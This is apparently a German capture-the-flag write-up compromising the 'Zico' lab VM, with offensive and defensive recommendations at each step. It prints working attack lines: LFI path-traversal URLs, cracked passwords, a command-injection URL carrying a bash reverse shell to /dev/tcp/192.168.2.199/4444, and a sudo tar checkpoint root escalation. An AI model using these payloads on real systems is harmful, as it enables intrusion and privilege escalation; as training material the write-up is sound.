Analyse: Ein ARP-Scan wird ausgeführt, um Hosts im lokalen Netz zu finden.
Bewertung: Das Zielsystem `192.168.2.106` wird identifiziert. Die MAC (`08:00:27:98:69:ca`) weist auf eine VirtualBox VM hin.
Empfehlung (Offensiv): IP für weitere Scans verwenden.
192.168.2.106 08:00:27:98:69:ca PCS Systemtechnik GmbH
Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt und nach offenen Ports gefiltert.
Bewertung: Vier Ports sind offen: 22 (SSH - OpenSSH 5.9p1), 80 (HTTP - Apache 2.2.22), 111 (RPCbind), 47839 (status - RPC). Die SSH- und Apache-Versionen sind sehr alt.
Empfehlung (Offensiv): Webserver (Port 80) und SSH (Port 22) priorisieren. RPC-Dienste untersuchen.
Empfehlung (Defensiv): Alle Dienste (SSH, Apache, RPC) dringend aktualisieren oder entfernen, wenn nicht benötigt. OS (Debian 8 basiert) aktualisieren (EOL).
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) 111/tcp open rpcbind 2-4 (RPC #100000) 47839/tcp open status 1 (RPC #100024)
Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt die Dienste und Versionen. OpenSSH 5.9p1 und Apache 2.2.22 sind sehr veraltet und anfällig. RPCbind und der Status-Dienst sind ebenfalls vorhanden. Der HTTP-Titel ist "Zico's Shop".
Empfehlung (Offensiv): Fokus auf Apache 2.2.22 und die Webanwendung. Bekannte Exploits für SSH 5.9p1 prüfen. RPC-Enumeration (`rpcinfo -p $IP`).
Empfehlung (Defensiv): System und Dienste dringend aktualisieren.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-09 00:10 CEST Nmap scan report for zico (192.168.2.106) Host is up (0.00011s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA) | 2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA) |_ 256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Zico's Shop |_http-server-header: Apache/2.2.22 (Ubuntu) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 47165/udp status | 100024 1 47839/tcp status | 100024 1 49130/udp6 status |_ 100024 1 49291/tcp6 status 47839/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms zico (192.168.2.106) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds
Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet die üblichen Probleme (ETag-Leak, fehlende Header, veralteter Apache). Directory Indexing für `/css/` und `/img/` wird entdeckt. Wichtig: Identifiziert eine mögliche Remote File Inclusion (RFI) oder LFI in `/view.php?ariadne=http://blog.cirt.net/rfiinc.txt?`. Obwohl die Zuordnung zu RFI/PHP-Nuke falsch sein kann, ist der `view.php`-Endpunkt mit einem Parameter (`ariadne`) hochinteressant. Findet auch `/icons/README` und eine `#wp-config.php#`-Backup-Datei (wahrscheinlich Irreführung). Gibt die PHP-Version 5.3.10 preis.
Empfehlung (Offensiv): Den Endpunkt `/view.php` mit dem Parameter (vermutlich `page` oder `ariadne`?) auf LFI/RFI testen. Die PHP-Version 5.3.10 ist extrem alt und hat viele bekannte Schwachstellen.
Empfehlung (Defensiv): Apache und PHP dringend aktualisieren. LFI/RFI durch sichere Programmierung verhindern. Directory Indexing deaktivieren. Standarddateien/Backups entfernen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2023-09-09 00:10:30 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + /: Server may leak inodes via ETags, header found with file /, inode: 3803593, size: 7970, mtime: Thu Jun 8 21:18:30 2017. [...] + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + Apache/2.2.22 appears to be outdated [...]. + /index: Uncommon header 'tcn' found, with contents: list. + /index: Apache mod_negotiation is enabled with MultiViews, [...] + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /css/: Directory indexing found. + /css/: This might be interesting. + /img/: Directory indexing found. + /img/: This might be interesting. + /icons/README: Apache default file found. [...] + /view.php?ariadne=http://blog.cirt.net/rfiinc.txt?: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.26. <-- LFI/RFI Hinweis & PHP Version + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. <-- Wahrscheinlich Irreführung + /README.md: Readme Found. + 8909 requests: 0 error(s) and 15 item(s) reported on remote host + End Time: 2023-09-09 00:10:54 (GMT2) (24 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Die IP wird dem Hostnamen `zico.vln` in `/etc/hosts` zugeordnet.
Bewertung: Erleichtert die Ansprache. Korrigiert den vorherigen Eintrag (falls vorhanden) oder fügt ihn hinzu.
192.168.2.106 zico.vln
Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet `index.html`, `img/`, `tools.html`, `view.php` (leer), `/css/`, `/js/`, `/vendor/`, `package`, `LICENSE`, `/less/`. Bestätigt die Existenz von `view.php`, die Nikto als potenziell verwundbar markiert hat.
Empfehlung (Offensiv): Den LFI-Verdacht bei `view.php` weiter untersuchen.
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://zico.vln [...] =============================================================== [...] Starting gobuster in directory enumeration mode =============================================================== http://zico.vln/index (Status: 200) [Size: 7970] http://zico.vln/index.html (Status: 200) [Size: 7970] http://zico.vln/img (Status: 301) [Size: 302] [--> http://zico.vln/img/] http://zico.vln/tools (Status: 200) [Size: 8355] http://zico.vln/tools.html (Status: 200) [Size: 8355] http://zico.vln/view (Status: 200) [Size: 0] http://zico.vln/view.php (Status: 200) [Size: 0] http://zico.vln/css (Status: 301) [Size: 302] [--> http://zico.vln/css/] http://zico.vln/js (Status: 301) [Size: 301] [--> http://zico.vln/js/] http://zico.vln/vendor (Status: 301) [Size: 305] [--> http://zico.vln/vendor/] http://zico.vln/package (Status: 200) [Size: 789] http://zico.vln/LICENSE (Status: 200) [Size: 1094] http://zico.vln/less (Status: 301) [Size: 303] [--> http://zico.vln/less/] [...] =============================================================== [...] Finished ===============================================
Analyse: Versuch, mit `curl` auf den RPC-Statusport (47839) zuzugreifen.
Bewertung: Scheitert mit "Connection refused". Der Port ist zwar laut Nmap offen, akzeptiert aber keine HTTP-Verbindungen.
Empfehlung (Offensiv): Mit `rpcinfo` prüfen, ob der Dienst noch läuft oder ob die Firewall nur Nmap durchließ. Ansonsten diesen Port ignorieren.
* Trying 192.168.2.106:47839... * connect to 192.168.2.106 port 47839 failed: Connection refused * Failed to connect to zico.vln port 47839 after 0 ms: Couldn't connect to server * Closing connection 0 curl: (7) Failed to connect to zico.vln port 47839 after 0 ms: Couldn't connect to server
Analyse: Untersuchung des Quellcodes von `index.html`.
Bewertung: Findet einen Link, der `view.php` mit dem `page`-Parameter verwendet: `/view.php?page=tools.html`. Dies bestätigt den für LFI relevanten Parameter als `page` (nicht `ariadne` wie von Nikto vermutet).
Empfehlung (Offensiv): LFI mit `view.php?page=` testen.
view-source:http://zico.vln/index.html [...] Check them out! [...]
Analyse: Die LFI-Schwachstelle wird mit `view.php?page=../../../../../../../../etc/passwd` ausgenutzt.
Bewertung: Der Inhalt von `/etc/passwd` wird erfolgreich angezeigt. Dies bestätigt die LFI und die Möglichkeit, beliebige Dateien zu lesen. Benutzer mit Shell sind `root` und `zico`.
Empfehlung (Offensiv): Weitere sensible Dateien lesen: `/etc/shadow` (um Passwort-Hashes zu erhalten), `/etc/ssh/sshd_config`, Apache-Konfiguration (`/etc/apache2/apache2.conf`, Site-Konfigs), PHP-Quellcode (`view.php`, `index.php`).
Empfehlung (Defensiv): LFI-Schwachstelle dringend beheben!
view-source:http://zico.vln//view.php?page=../../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false ntp:x:103:108::/home/ntp:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin vboxadd:x:999:1::/var/run/vboxadd:/bin/false statd:x:105:65534::/var/lib/nfs:/bin/false mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false zico:x:1000:1000:,,,:/home/zico:/bin/bash
Analyse: Die Ausgabe von `/etc/passwd` (via LFI und `curl`) wird mit `grep bash` gefiltert.
Bewertung: Hebt die Benutzer `root` und `zico` hervor, die eine Bash-Login-Shell haben.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1122 100 1122 0 0 359k 0 --:--:-- --:--:-- --:--:-- 547k root:x:0:0:root:/root:/bin/bash zico:x:1000:1000:,,,:/home/zico:/bin/bash
Analyse: `wfuzz` wird verwendet, um mit der LFI-Schwachstelle verschiedene Log- und Konfigurationsdateien (aus `logfiles.txt`) zu lesen.
Bewertung: Viele Dateien werden erfolgreich gelesen (HTTP 200, Größe != 0), darunter Apache-Konfigurationen (`apache2.conf`, `sites-available/default`, `ports.conf`, Modul-Konfigs), MySQL-Konfig (`my.cnf`), Systemkonfigs (`passwd`, `fstab`, `hosts`, `crontab`, `resolv.conf`, `sysctl.conf`, `sshd_config`), Prozessinformationen (`cmdline`, `stat`, `status`, `mounts`, `meminfo`, `cpuinfo`) und einige Logdateien (`boot.log`).
Empfehlung (Offensiv): Den Inhalt der gelesenen Dateien analysieren, insbesondere `my.cnf` (DB-Credentials?), `sshd_config` (SSH-Optionen?), `apache2.conf` und Site-Konfigs (Webserver-Struktur, andere virtuelle Hosts?), `crontab` (automatisierte Aufgaben?).
Empfehlung (Defensiv): LFI beheben! Dateiberechtigungen überprüfen, sodass der Webserver-Benutzer keinen Zugriff auf unnötige Konfigurationsdateien hat.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://zico.vln/view.php?page=../../../../../FUZZ [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000081: 200 27 L 33 W 1122 Ch "/etc/passwd" 000000202: 200 127 L 524 W 3505 Ch "etc/mysql/my.cnf" 000000402: 200 23 L 104 W 750 Ch "etc/apache2/ports.conf" [...] 000000401: 200 237 L 1271 W 8346 Ch "etc/apache2/apache2.conf" [...] 000000792: 200 55 L 214 W 1791 Ch "etc/dhcp/dhclient.conf" 000000852: 200 42 L 122 W 1170 Ch "proc/meminfo" [...] 000000860: 200 64 L 290 W 2076 Ch "etc/bash.bashrc" 000000849: 200 1 L 18 W 144 Ch "proc/version" 000000832: 200 0 L 1 W 27 Ch "proc/self/cmdline" [...] 000000922: 200 16 L 126 W 1002 Ch "var/log/boot.log" [...] 000000934: 200 60 L 279 W 2083 Ch "etc/sysctl.conf" [...] 000000930: 200 4 L 28 W 194 Ch "etc/resolv.conf" [...] 000000946: 200 88 L 313 W 2498 Ch "etc/ssh/sshd_config" [...] 000000986: 200 12 L 87 W 688 Ch "etc/fstab" [...] 000000989: 200 55 L 55 W 675 Ch "etc/group" 000000992: 200 15 L 124 W 722 Ch "etc/crontab" [...]
Analyse: Der Inhalt von `/etc/apache2/apache2.conf` und `/etc/crontab` wird via LFI angezeigt.
Bewertung: `apache2.conf` zeigt Standard-Apache-Konfiguration. `crontab` zeigt nur Standard-Cronjobs für hourly, daily, weekly, monthly Skripte. Keine benutzerdefinierten Cronjobs als Root oder andere Benutzer sichtbar.
Empfehlung (Offensiv): Diese Dateien liefern keine direkten PE-Vektoren. `/etc/mysql/my.cnf` lesen, um DB-Credentials zu finden.
view-source:http://zico.vln/view.php?page=../../../../../etc/apache2/apache2.conf # Standard Apache Konfiguration [...] ServerRoot "/etc/apache2" [...] IncludeOptional sites-enabled/*.conf [...] view-source:http://zico.vln/view.php?page=../../../../../etc/crontab # /etc/crontab: system-wide crontab [...] SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Analyse: Ein `dirb`-Scan gegen Port 80 findet das Verzeichnis `/dbadmin/`.
Bewertung: Ein Verzeichnis mit diesem Namen deutet stark auf ein Datenbank-Verwaltungstool hin.
Empfehlung (Offensiv): Das Verzeichnis `/dbadmin/` im Browser aufrufen.
[...] ---- Scanning URL: http://zico.vln/ ---- [...] + http://zico.vln/dbadmin/ (CODE:200|SIZE:416) ==> DIRECTORY [...]
Analyse: Das Verzeichnis `/dbadmin/` wird aufgerufen. Directory Listing ist aktiv und zeigt eine Datei `test_db.php`.
Bewertung: Eine PHP-Datei zur Datenbank-Interaktion ist ein primäres Ziel für SQL-Injection oder Informationslecks.
Empfehlung (Offensiv): `http://zico.vln/dbadmin/test_db.php` aufrufen und untersuchen.
Empfehlung (Defensiv): Directory Listing deaktivieren. Solche Test- oder Admin-Skripte nicht im Webroot belassen oder stark absichern.
http://zico.vln/dbadmin/ Index of /dbadmin [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [ ] test_db.php 08-Jun-2017 14:00 178K Apache/2.2.22 (Ubuntu) Server at zico.vln Port 80
Analyse: Die Datei `test_db.php` wird aufgerufen. Der Output enthält `pass= admin` (unklar, was das bedeutet) und das Ergebnis einer SQL-Abfrage `SELECT * FROM info`. Diese Tabelle enthält User `root` und `zico` mit MD5-Hashes.
Bewertung: Das Skript führt offenbar eine SQL-Abfrage aus und gibt deren Ergebnis zurück. Die MD5-Hashes sind ein wichtiger Fund.
Empfehlung (Offensiv): Die MD5-Hashes (`653F4...` für root, `96781...` für zico) versuchen online zu cracken (z.B. Crackstation). Prüfen, ob `test_db.php` SQL-Injection-anfällig ist (z.B. durch Manipulation von GET/POST-Parametern).
Empfehlung (Defensiv): Keine Datenbank-Admin-Skripte exponieren. MD5 ist keine sichere Hashing-Methode mehr, stärkere Algorithmen (bcrypt, Argon2) verwenden. Keine sensiblen Daten (wie Hashes) direkt ausgeben.
http://zico.vln/dbadmin/test_db.php pass= admin SELECT * FROM "info" WHERE 1 root 653F4B285089453FE00E2AAFAC573414 1 zico 96781A607F4E9F5F423AC01F0DAB0EBD 2
Analyse: Die MD5-Hashes werden erfolgreich gecrackt.
Bewertung:
96781A607F4E9F5F423AC01F0DAB0EBD md5 zico2215@ 653F4B285089453FE00E2AAFAC573414 md5 34kroot34
Analyse: Der Text zeigt, dass über `test_db.php` offenbar Tabellen erstellt und mit PHP-Code befüllt werden können. Es wird eine Tabelle `shell` mit PHP-Code (`wget...; php...`) erstellt. Dann wird versucht, diesen Code über die LFI in `view.php` auszuführen, indem auf eine Datei `/usr/databases/test.php` zugegriffen wird (die vermutlich den Inhalt der `shell`-Tabelle enthält oder ausführt).
Bewertung: Dies deutet auf eine sehr unsichere Implementierung von `test_db.php` hin, die SQL-Injection und/oder das Schreiben von PHP-Code in Dateien ermöglicht, welche dann per LFI ausgeführt werden können. Der Pfad `/usr/databases/test.php` ist ungewöhnlich.
Annahme/Korrektur basierend auf späterem Text: Der spätere Text zeigt eine erfolgreichere Methode über `/usr/databases/drop.php` und einen `cmd`-Parameter. Es ist wahrscheinlich, dass die SQLi/File-Write-Methode hier entweder eine Sackgasse war oder im Bericht unvollständig dargestellt ist. Der Fokus liegt auf der funktionierenden Command Injection.
http://zico.vln/dbadmin/test_db.php?action=table_create&confirm=1 Table 'shell' has been created. CREATE TABLE 'shell' ('shell' TEXT default ' ') Versuch der Ausführung via LFI: http://192.168.2.106/view.php?page=../../../../../usr/databases/test.php
Analyse: Es wird eine andere Datei `/usr/databases/drop.php` über die LFI in `view.php` aufgerufen, diesmal aber mit einem zusätzlichen Parameter `cmd=id`.
Bewertung: Die Ausgabe `uid=33(www-data)...` innerhalb der (scheinbar) SQLite-Fehlermeldung zeigt, dass der `cmd`-Parameter erfolgreich ausgeführt wird! Dies bestätigt eine Command Injection-Schwachstelle, die über die LFI getriggert wird. Die Datei `drop.php` enthält wahrscheinlich Code wie `system($ GET['cmd'])` oder ähnlich.
Empfehlung (Offensiv): Diese kombinierte LFI + Command Injection nutzen, um eine Reverse Shell zu erhalten.
Empfehlung (Defensiv): LFI beheben! Command Injection beheben (Eingabevalidierung).
http://192.168.2.106/view.php?page=../../../../../usr/databases/drop.php&cmd=id SQLite format 3@ table11 CREATE TABLE '1' ('1' TEXT default 'uid=33(www-data) gid=33(www-data) groups=33(www-data) ')
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Über die LFI + Command Injection Schwachstelle wird ein Bash-Reverse-Shell-Payload ausgeführt.
Bewertung: Die Verbindung kommt auf dem Listener an. Der Angreifer erhält eine Shell als `www-data`.
Ergebnis: Erfolgreicher Initial Access als `www-data`.
Empfehlung (Offensiv): Shell stabilisieren und mit PE-Enumeration beginnen. Das gefundene Passwort für `zico` (`zico2215@`) verwenden, um mittels `su zico` die Rechte zu erhöhen.
Empfehlung (Defensiv): LFI und Command Injection beheben. Egress-Filtering.
Payload:http://192.168.2.106/view.php?page=../../../../../usr/databases/drop.php&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 38043 bash: no job control in this shell
Analyse: Als `www-data` wird die `view.php`-Datei gelesen, Netzwerkverbindungen (`ss`) und SUID-Dateien (`find`) überprüft.
Bewertung: `cat view.php` bestätigt die extrem unsichere LFI: `include("/var/www/".$page);`. `ss` zeigt die bekannten Ports und MySQL lokal. Die SUID-Suche findet Standard-Binaries, darunter `sudo` und `exim4` (ältere Mailserver-Version, könnte interessant sein).
Empfehlung (Offensiv): Den Benutzerkontext mit `su zico` und dem gecrackten Passwort wechseln.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 50 127.0.0.1:3306 *:* LISTEN 0 128 *:111 :* LISTEN 0 128 *:111 *:* LISTEN 0 128 *:80 *:* LISTEN 0 128 *:53428 :* LISTEN 0 128 *:22 *:* LISTEN 0 128 *:22 *:* LISTEN 0 128 *:41182 *:* LISTEN 0 128 127.0.0.1:9000 *:* users:(("php5-fpm",974,0)[...])
4456654 288 -rwsr-xr-- 1 root messagebus 292944 Oct 12 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 4457709 236 -rwsr-xr-x 1 root root 240984 Aug 11 2016 /usr/lib/openssh/ssh-keysign 3538996 12 -rwsr-xr-x 1 root root 10408 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 3416117 316 -rwsr-xr-- 1 root dip 321552 Apr 21 2015 /usr/sbin/pppd 3416424 20 -rwsr-sr-x 1 libuuid libuuid 18856 Jun 18 2014 /usr/sbin/uuidd 3412904 72 -rwsr-xr-x 2 root root 71280 Mar 12 2015 /usr/bin/sudo [...] 23671 1008 -rwsr-xr-x 1 root root 1031296 Feb 10 2018 /usr/sbin/exim4 <-- Exim might be interesting [...]
Analyse: Es wird versucht, `su zico` mit dem Passwort `zico2215@` auszuführen.
Bewertung: Der Befehl scheint zu funktionieren (keine Fehlermeldung), und der Prompt ändert sich zu `zico@zico`.
Empfehlung (Offensiv): `sudo -l` als `zico` ausführen.
Password: zico2215@
Analyse: Als Benutzer `zico` wird `sudo -l` ausgeführt.
Bewertung: `zico` darf `/bin/tar` und `/usr/bin/zip` als `root` ohne Passwort (`NPASSWD`) ausführen. Dies sind bekannte GTFOBins-Vektoren.
Empfehlung (Offensiv): Die `tar`-Berechtigung mit Checkpoints missbrauchen, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): Niemals Tools wie `tar` oder `zip`, die beliebige Befehle ausführen oder Dateien manipulieren können, mit `sudo` erlauben, schon gar nicht mit `NOPASSWD`.
Matching Defaults entries for zico on this host: env_reset, exempt_group=admin, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User zico may run the following commands on this host: (root) NPASSWD: /bin/tar (root) NPASSWD: /usr/bin/zip
Analyse: Die GTFOBins-Payload für `tar` wird ausgeführt: `sudo -u root tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh`.
Bewertung: Der `tar`-Befehl wird als `root` ausgeführt. Die Option `--checkpoint=1` sorgt dafür, dass nach jedem verarbeiteten Record (hier effektiv sofort) eine Aktion ausgeführt wird. Die Option `--checkpoint-action=exec=/bin/sh` legt fest, dass `/bin/sh` ausgeführt wird. Da `tar` als Root läuft, wird auch `/bin/sh` als Root gestartet.
Ergebnis: Privilege Escalation erfolgreich! Der Prompt wechselt zu `#`, und `id` bestätigt Root-Rechte.
Empfehlung (Offensiv): Root-Shell nutzen.
Empfehlung (Defensiv): Unsichere `sudo`-Regeln entfernen.
tar: Removing leading `/' from member names
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: Local File Inclusion (LFI) im `page`-Parameter von `view.php` aufgrund von `include("/var/www/".$page);` ohne ausreichende Validierung.
Ziel des POC: Nachweis, dass durch Manipulation des `page`-Parameters beliebige lokale Dateien gelesen werden können.
Voraussetzungen: Zugriff auf den Webserver auf Port 80.
Analyse: Nikto meldete eine potenzielle LFI/RFI in `view.php`. Der Quellcode von `index.html` zeigte die Verwendung von `view.php?page=tools.html`.
Analyse: Die URL `http://zico.vln/view.php?page=../../../../../../../../etc/passwd` wurde aufgerufen.
Bewertung: Der Inhalt von `/etc/passwd` wurde erfolgreich im Browser angezeigt, was die LFI bestätigt.
Analyse: Mittels `wfuzz` und einer Liste von Log-/Konfig-Dateien wurden zahlreiche weitere Dateien wie `/etc/apache2/apache2.conf`, `/etc/mysql/my.cnf`, `/etc/ssh/sshd_config` etc. erfolgreich gelesen.
Ergebnis des POC: Die LFI-Schwachstelle ermöglicht das Auslesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat.
Risikobewertung: Hoch.
Empfehlung (Defensiv): Benutzereingaben niemals direkt in `include`/`require` verwenden. Whitelist-Validierung für erlaubte Seiten implementieren. Path Traversal verhindern. PHP-Konfiguration härten (`open_basedir`).
Schwachstelle: Ein PHP-Skript (`/dbadmin/test_db.php`) gibt MD5-Hashes aus einer Datenbank aus und erlaubt (basierend auf den Aktionen im Text) offenbar das Erstellen von Tabellen und das Einfügen von PHP-Code, der dann über LFI ausgeführt werden kann. Dies deutet auf SQL-Injection oder eine unsichere Dateischreibfunktion hin.
Alternativer Vektor (im Text genutzt):** Eine andere Datei (`/usr/databases/drop.php`), die via LFI erreichbar ist, akzeptiert einen `cmd`-Parameter, der direkt ausgeführt wird (Command Injection).
Ziel des POC: Nachweis, dass entweder durch Manipulation von `test_db.php` oder durch die LFI+Command Injection in `drop.php` Code als `www-data` ausgeführt werden kann.
Voraussetzungen: Zugriff auf Port 80. Kenntnis der Pfade (`/dbadmin/test_db.php` oder LFI + `/usr/databases/drop.php`).
Analyse: `dirb` fand `/dbadmin/`, darin `test_db.php`. Beim Aufruf zeigte die Seite MD5-Hashes für `root` und `zico`.
Analyse: Die URL `http://192.168.2.106/view.php?page=../../../../../usr/databases/drop.php&cmd=id` wurde aufgerufen.
Bewertung: Die Ausgabe `uid=33(www-data)...` bestätigte die erfolgreiche Command Injection.
Analyse: Ein Bash-Reverse-Shell-Payload wurde URL-kodiert und über den `cmd`-Parameter in der LFI-URL ausgeführt.
Ergebnis des POC: Eine Reverse Shell als `www-data` wurde erfolgreich auf dem Listener des Angreifers empfangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): LFI beheben! Command Injection durch strikte Eingabevalidierung und Vermeidung von `system()`/`exec()` mit Benutzereingaben verhindern. Keine Admin-/Test-Skripte im Webroot belassen. Datenbankzugriffe absichern.
Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `zico` erlaubt, `/bin/tar` als Root ohne Passwort auszuführen (`(root) NPASSWD: /bin/tar`).
Ziel des POC: Nachweis, dass durch spezielle `tar`-Optionen (`--checkpoint`, `--checkpoint-action=exec=...`) beliebige Befehle als Root ausgeführt werden können.
Voraussetzungen: Zugriff als Benutzer `zico`. Die fehlerhafte `sudoers`-Regel.
Analyse: Der Befehl `sudo -l` als `zico` zeigt die Regel `(root) NPASSWD: /bin/tar`.
Analyse: Der Befehl `sudo -u root tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh` wird ausgeführt.
Bewertung: `tar` wird als Root gestartet. Die Checkpoint-Optionen bewirken, dass nach dem (quasi nicht vorhandenen) ersten Record sofort der Befehl `/bin/sh` als Root ausgeführt wird.
Ergebnis des POC: Eine interaktive Root-Shell wird gestartet.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Niemals `tar` oder ähnlichen Tools, die externe Befehle ausführen können, uneingeschränkte `sudo`-Rechte geben, insbesondere nicht mit `NOPASSWD`. Rechte granular und nach dem Prinzip der geringsten Rechte vergeben.
Analyse: Die Root-Flag (`flag.txt`) wurde im `/root`-Verzeichnis gefunden. Eine User-Flag wurde im Text nicht explizit ausgelesen.
Bewertung: Die Root-Flag wurde erfolgreich extrahiert. Die Platzhalter am Ende des Textes werden ignoriert.
User-Flag wurde auf diesem Pfad nicht explizit gefunden.
flag.txt
# # # # ROOT! # You did it! Congratz! # # Hope you enjoyed! #(Der obige Text ist die Flag)